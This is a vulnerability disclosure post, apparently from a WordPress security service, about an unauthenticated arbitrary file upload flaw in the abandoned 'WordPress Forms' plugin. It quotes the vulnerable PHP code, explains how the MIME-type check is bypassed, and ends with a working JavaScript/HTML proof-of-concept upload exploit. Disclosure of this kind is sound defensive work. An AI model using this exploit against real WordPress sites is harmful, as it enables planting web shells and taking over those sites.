Arbitrary File Upload Vulnerability in WordPress Forms
Over at our main business we clean up a lot of hacked websites. Based on how often we are brought in to re-clean websites after another company (including many well known names) has failed to even attempt to properly clean things up, our service in general is much better than many other options out there. But when cleaning up hacked WordPress websites we throw in a couple of extras related to this service. The first being a free lifetime subscription to this service and the second being that we check over all the installed plugins using same checks we do as part of our proactive monitoring of changes made to plugins in the Plugin Directory to try to catch serious vulnerabilities.
Recently that lead to us checking the plugin WordPress Forms, which was removed from the Plugin Directory by the developer five years ago (but is still has 500+ active installs according to wordpress.org). When we did that, we found that it contained an arbitrary file upload vulnerability.
The plugin can process form submissions through WordPress’ AJAX functionality:
274 275 | add_action( "wp_ajax_wp_forms_submit_form", array( &$this, "process_submition" ) ); add_action( "wp_ajax_nopriv_wp_forms_submit_form", array( &$this, "process_submition" ) ); |
The function that handles that, process_submition(), will save submitted files to the directory for the current year/month in the directory /wp-content/uploads/ with the following code:
362 363 | $upload_dir = wp_upload_dir(); move_uploaded_file( $_FILES[$key]['tmp_name'], $upload_dir['path'] . '/' . $_FILES[$key]['name'] ); |
The code does try to restrict .php files from being uploaded with the following code:
358 359 | if ( $_FILES[$key]['type'] == 'application/octet-stream' or $_FILES[$key]['type'] == 'application/x-httpd-php' ) wp_die( "Error: For security reasons you can't upload application files!" ); |
That code isn’t effective because the “type” value it checks is user specified, so a .php file could be uploaded with the type specified as something else and it will pass that check.
While this type of vulnerability is fairly likely to be exploited if hackers are aware of it, in the case of the website we were cleaning, the plugin was deactivated, so the vulnerability could not have been exploited.
Proof of Concept
The following proof of concept will upload the selected file and put it in the current year/months’s directory inside of the /wp-content/upload/ directory.
Make sure to replace “[path to WordPress]” with the location of WordPress and “[form ID]” with the ID for one of the forms created by the plugin.
<head> <script> window.addEventListener('load', function () { var file = { dom : document.getElementById("file"), binary : null }; var reader = new FileReader(); reader.addEventListener("load", function () { file.binary = reader.result; }); if(file.dom.files[0]) { reader.readAsBinaryString(file.dom.files[0]); } file.dom.addEventListener("change", function () { if(reader.readyState === FileReader.LOADING) reader.abort(); reader.readAsBinaryString(file.dom.files[0]); }); function sendData() { var xmlhttp = new XMLHttpRequest(); var boundary = "blob"; var data = ""; data += "--" + boundary + "\r\n"; data += 'Content-Disposition: form-data; name="post"' + '\r\n'; data += '\r\n'; data += '[form ID]' + '\r\n'; data += "--" + boundary + "\r\n"; data += 'content-disposition: form-data; ' + 'name="test"; ' + 'filename="' + file.dom.files[0].name + '"\r\n'; data += 'Content-Type: image/png\r\n'; data += '\r\n'; data += file.binary + '\r\n'; data += "--" + boundary + "--"; xmlhttp.open('POST', 'http://[path to WordPress]/wp-admin/admin-ajax.php?action=wp_forms_submit_form'); xmlhttp.setRequestHeader('Content-Type','multipart/form-data; boundary=' + boundary); xmlhttp.send(data); alert('file upload attempted'); } var form = document.getElementById("form"); form.addEventListener('submit', function (event) { sendData(); }); }); </script> </head> <body> <form id="form"> <input id="file" name="file" type="file"> <button>Submit</button> </form> </body> </html>